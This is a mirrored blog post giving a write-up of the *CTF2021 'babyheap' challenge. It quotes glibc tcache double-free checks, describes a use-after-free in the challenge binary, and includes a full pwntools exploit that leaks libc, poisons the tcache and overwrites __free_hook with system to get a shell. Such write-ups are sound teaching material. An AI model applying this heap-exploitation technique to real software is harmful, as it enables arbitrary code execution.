zoukankan      html  css  js  c++  java
  • *CTF2021-babyheap, new version of glibc 2.27

    New version

    The original tcache structure:

    /* We overlay this structure on the user-data portion of a chunk when
       the chunk is stored in the per-thread cache.  */
    typedef struct tcache_entry
    {
      struct tcache_entry *next;
    } tcache_entry;
    

    The new version:

    /* We overlay this structure on the user-data portion of a chunk when
       the chunk is stored in the per-thread cache.  */
    typedef struct tcache_entry
    {
      struct tcache_entry *next;
      /* This field exists to detect double frees.  */
      struct tcache_perthread_struct *key;
    } tcache_entry;
    

    And add tcache quantity limit:

    #define MAX_TCACHE_COUNT 127    /* Maximum value of counts[] entries.  */
    

    tcache_put:

    /* Caller must ensure that we know tc_idx is valid and there's room
       for more chunks.  */
    static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx)
    {
      tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
      assert (tc_idx < TCACHE_MAX_BINS);
    
      /* Mark this chunk as "in the tcache" so the test in _int_free will
         detect a double free.  */
     ** e->key = tcache;**
    
      e->next = tcache->entries[tc_idx];
      tcache->entries[tc_idx] = e;
      ++(tcache->counts[tc_idx]);
    }
    

    tcache_get:

    /* Caller must ensure that we know tc_idx is valid and there's
       available chunks to remove.  */
    static __always_inline void *
    tcache_get (size_t tc_idx)
    {
      tcache_entry *e = tcache->entries[tc_idx];
      assert (tc_idx < TCACHE_MAX_BINS);
      assert (tcache->entries[tc_idx] > 0);
      tcache->entries[tc_idx] = e->next;
      --(tcache->counts[tc_idx]);
      **e->key = NULL;**
      return (void *) e;
    }
    

    The function of '_int_free' adds a new check:

    #if USE_TCACHE
      {
        size_t tc_idx = csize2tidx (size);
        if (tcache != NULL && tc_idx < mp_.tcache_bins)
          {
            /* Check to see if it's already in the tcache.  */
            tcache_entry *e = (tcache_entry *) chunk2mem (p);
    
            /* This test succeeds on double free.  However, we don't 100%
               trust it (it also matches random payload data at a 1 in
               2^<size_t> chance), so verify it's not an unlikely
               coincidence before aborting.  */
            if (__glibc_unlikely (e->key == tcache))
              {
                tcache_entry *tmp;
                LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
                for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
    **              if (tmp == e)**
    **                malloc_printerr ("free(): double free detected in tcache 2");**
                    /* If we get here, it was a coincidence.  We've wasted a
                       few cycles, but don't abort.  */
              }
    
            if (tcache->counts[tc_idx] < mp_.tcache_count)
              {
                tcache_put (p, tc_idx);
                return;
              }
          }
      }
    #endif
    

    Analyze

    The add function can realize any serial number heap block allocation.

    UAF.

    The edit function starts editing from the address of the heap block address + 8, so the fd pointer cannot be tampered with by conventional methods.


    The function will apply for a 0x400 byte heap block. This will help us to create a small bin.

    到了这一步, 说明需要分配的是一块大的内存,或者 small bins 中找不到合适的chunk。于是,ptmalloc 首先会遍历 fastbins 中的 chunk,将相邻的 chunk 进行合并,并链接到 unsorted bin 中, 然后遍历 unsorted bin 中的 chunk,如果 unsorted bin 只有一个 chunk,并且这个 chunk 在上次分配时被使用过,并且所需分配的 chunk 大小属于 small bins,并且 chunk 的大小大于等于需要分配的大小,这种情况下就直接将该 chunk 进行切割,分配结束,否则将根据 chunk 的空间大小将其放入 smallbins 或是 large bins 中,遍历完成后,转入下一步。

    After getting the libc address, it is by modifying the fd pointer of tcache, and then attacking the '__free_hook' function to getshell.

    Exp

    from pwn import *
    
    local = 1
    
    binary = "./pwn"
    libc_path = './libc-2.29.so'
    port = ""
    
    if local == 1:
    	p = process(binary)
    else:
    	p = remote("node3.buuoj.cn",port)
    
    def dbg():
    	context.log_level = 'debug'
    
    context.terminal = ['tmux','splitw','-h']
    
    def add(index,size):
    	p.sendlineafter('>>','1')
    	p.sendlineafter('input index',str(index))
    	p.sendlineafter('input size',str(size))
    
    def edit(index,content):
    	p.sendlineafter('>>','3')
    	p.sendlineafter('input index',str(index))
    	p.sendafter('input content',content)
    
    def show(index):
    	p.sendlineafter('>>','4')
    	p.sendlineafter('input index',str(index))
    
    def free(index):
    	p.sendlineafter('>>','2')
    	p.sendlineafter('input index',str(index))
    
    def leavename(name):
    	p.recvuntil('>> 
    ')
    	p.sendline('5')
    	p.recvuntil('your name:
    ')
    	p.send(name)
    
    def showname():
    	p.recvuntil('>> 
    ')
    	p.sendline('6')
    
    def leak_libc(addr):
    	global libc_base,__malloc_hook,__free_hook,system,binsh_addr,_IO_2_1_stdout_
    	libc = ELF(libc_path)
    	libc_base = addr - libc.sym['__malloc_hook']
    	print ("[*] libc base:",hex(libc_base))
    	__malloc_hook = libc_base + libc.sym['__malloc_hook']
    	system = libc_base + libc.sym['system']
    	binsh_addr = libc_base + libc.search(b'/bin/sh').__next__()
    	__free_hook = libc_base + libc.sym['__free_hook']
    	_IO_2_1_stdout_ = libc_base + libc.sym['_IO_2_1_stdout_']
    
    
    for i in range(15):
    	add(i,0x60)
    
    for i in range(14):
    	free(i)
    
    leavename('lemon')
    
    show(7)
    __malloc_hook = u64(p.recvuntil('x7f')[-6:].ljust(8,b'x00')) - 752 - 96 - 0x10 - 0x10
    log.success("__malloc_hook:{}".format(hex(__malloc_hook)))
    leak_libc(__malloc_hook)
    
    
    add(10,0x10)
    add(11,0x10)
    free(11)
    
    payload = b'a' * 0x10 + p64(0x21) + p64(__free_hook - 0x8)
    edit(7,payload)
    
    add(0,0x10)
    add(1,0x10)
    
    edit(1,p64(system))
    
    payload = b'a' * 0x10 + p64(0x21) + b'/bin/shx00'
    edit(7,payload)
    
    gdb.attach(p)
    p.interactive()
    

    Reference

    https://mp.weixin.qq.com/s?__biz=MzU3ODc2NTg1OA==&mid=2247485857&idx=1&sn=1cf534df42999d5126fc3cf3b7fc8f9b&chksm=fd711cecca0695faf313845fb30671cd61feee2a62ad9b13f213d4de7a5b64c0dfbb6d2ac31f&xtrack=1&scene=0&subscene=10000&clicktime=1611107032&enterid=1611107032&ascene=7&devicetype=android-29&version=2700163b&nettype=3gnet&abtest_cookie=AAACAA%3D%3D&lang=zh_CN&exportkey=AQcW%2FACVHProXmWAQV70QJg%3D&pass_ticket=1Rez77FG%2F4Cz0T%2FC5fJVQShnZutIPpD2DYMup1WSLHtZtN03xzggQfvMuVZ538fE&wx_header=1
    https://www.anquanke.com/post/id/172886#h2-8
    https://www.anquanke.com/post/id/219292

  • 相关阅读:
    2、MySQL语法规范 与 注释
    5、手写代码实现MyBatis的查询功能
    1、MySQL常见的操作命令
    操作系统(五)——文件
    操作系统(四)——内存
    操作系统(三)——信号量、死锁
    操作系统(二)——进程与线程
    操作系统(一)——概述和进程与线程基础
    多线程与并发(四)——线程池、原子性
    开课博客
  • 原文地址:https://www.cnblogs.com/lemon629/p/14327460.html
Copyright © 2011-2022 走看看